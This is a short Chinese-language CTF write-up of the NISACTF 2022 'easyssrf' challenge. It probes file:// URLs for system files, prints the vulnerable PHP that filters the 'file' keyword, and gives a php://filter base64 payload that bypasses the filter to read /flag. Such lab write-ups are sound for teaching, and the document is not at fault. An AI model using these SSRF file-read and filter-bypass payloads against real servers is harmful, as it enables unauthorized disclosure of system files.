[NISACTF 2022]easyssrf

打开题目所在的环境,发现是快照获取的工具,这里我尝试输入的是百度的网址,发现他会返回这个网站的一些基本信息 :

这个题目提示了ssrf,我们这里用file协议开始测试:

file:///etc/password

发现返回的结果是:害羞羞,试试其他路径?

然后这里可能是file协议能用但是读取不了这个文件尝试:

file:///flag

这里运行之后给了提示:

这里输入:

file:///fl4g

给了提示:

这里直接访问我们可以看到一段php代码:

php 复制代码
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

我们审计这段代码好像发现它把file协议给过滤了,然后这里我看了题解,是用filter伪协议读取根目录下的flag:

?file=php://filter/read=convert.base64-encode/resource=/flag

将得到的进行base64解码就能得到flag。

相关推荐
wanhengidc5 小时前
云手机的软件核心是什么
运维·服务器·web安全·游戏·智能手机
独行soc13 小时前
2025年渗透测试面试题总结-254(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
武汉唯众智创14 小时前
网络安全教学升级!基于深度强化学习的动态对抗网络安全防护教学方案全解析
网络·人工智能·安全·web安全·生成对抗网络·网络安全
一位搞嵌入式的 genius16 小时前
TLS协议深度解析:新一代网络安全传输标准
网络·计算机网络·安全·web安全·网络通信·tls协议
上海云盾第一敬业销售16 小时前
高防CDN助力网络安全与性能优化
安全·web安全·性能优化
llxxyy卢19 小时前
了解xss漏洞pikachu的三大基础xss和xss平台
安全·web安全·xss
wanhengidc20 小时前
云手机的工作原理是什么
网络·web安全·游戏·智能手机
lifejump1 天前
Arpspoof | ARP Poisoning及其防护
网络·安全·web安全
意疏2 天前
Kali远程桌面+cpolar:网络安全攻防的跨域协作新范式
安全·web安全
云安全联盟大中华区2 天前
构建AI原生工程组织:关于速度、文化与安全的经验
人工智能·安全·web安全·网络安全·ai·ai-native